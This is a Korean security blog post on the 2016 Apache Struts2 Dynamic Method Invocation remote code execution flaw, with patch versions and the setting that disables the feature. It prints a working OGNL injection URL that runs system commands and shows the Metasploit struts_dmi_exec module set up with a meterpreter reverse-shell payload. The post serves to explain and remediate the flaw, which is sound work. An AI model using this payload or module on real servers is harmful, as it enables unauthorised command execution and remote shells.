이 DMI는 보안적인 결함을 가지고 있어 Struts2에서 기본적으로 False 되도록 설정이 바뀌어 패치됩니다.
이 Method를 통해 넘긴 값이 DMI를 거쳐서 처리되게 되는데 여기서 Java 구문으로 흐름을 틀어 원하는 명령 수행이 가능하도록 할 수 있습니다.

htest.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String
위 공격코드를 보시면 method 파라미터를 통해 공격코드 값을 넘기게 됩니다. 여기서 memberAccess 이후 cmd 파라미터를 받은 값을 시스템 명령으로 넘기게 됩니다.

Metasploit 을 이용한 공격방법

역시 Rapid7은 빠르게 모듈을 만들었습니다. Struts2 취약점에 대해 바로 Module 을 만들었고, 현재 MSF를 통해 쉽게 사용하실 수 있습니다.

#> search struts

Matching Modules
================

   Name                                                     Disclosure Date  Rank       Description
   ----                                                     ---------------  ----       -----------
   exploit/linux/http/struts_dmi_exec                       2016-04-27       excellent  Apache Struts Dynamic Method Invocation Remote Code Execution
   exploit/multi/http/struts_code_exec                      2010-07-13       good       Apache Struts Remote Command Execution
   exploit/multi/http/struts_code_exec_classloader          2014-03-06       manual     Apache Struts ClassLoader Manipulation Remote Code Execution
위와 같이 search로 찾아보면 4/27일자로 dmi_exec가 업데이트된 것을 알 수 있습니다.

해당 모듈을 불러오고 options을 보면 아래와 같습니다.

#> use exploit/linux/http/struts_dmi_exec
hahwul exploit(struts_dmi_exec) #> show options

Module options (exploit/linux/http/struts_dmi_exec):

   Name       Current Setting              Required  Description
   ----       ---------------              --------  -----------
   Proxies                                 no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                   yes       The target address
   RPORT      8080                         yes       The target port
   SSL        false                        no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /blank-struts2/login.action  yes       The path to a struts application action
   TMPPATH                                 no        Overwrite the temp path for the file upload. Needed if the home directory is not writable.
   VHOST                                   no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp_uuid):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST                          yes       The listen address
   LPORT         4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Universal
다른 Exploit 과 유사하며 특별한 점이 없습니다. 간단하게 host와 port, uri 등을 넣고 exploit 해주시면 해당 URI에 대해 테스팅을 진행하고 지정한 Payload를 불러와 Shell 권한을 얻습니다.

대응방법

이런 프레임워크/어플리케이션에 대한 대응방법은 간단합니다. 바로 업데이트죠.
최신버전/미취약 버전으로 업데이트를 진행합니다.

The vendor has issued a fix (2.3.20.2, 2.3.24.2, 2.3.28.1).

허나 업데이트할 수 없는 상황이라면 아까 원리 부분에서 말씀드렸듯이 DMI를 해제해줍니다.

Struts2 설정 파일 내 struts.enable.DynamicMethodInvocation를 false로 변경하여 줍니다.

<constant name="struts.enable.DynamicMethodInvocation" value="false" />;    =“struts.enable.dynamicmethodinvocation”>

Reference 

http://blog.alyac.co.kr/611
http://www.securitytracker.com/id/1035665
Share: | Coffee Me: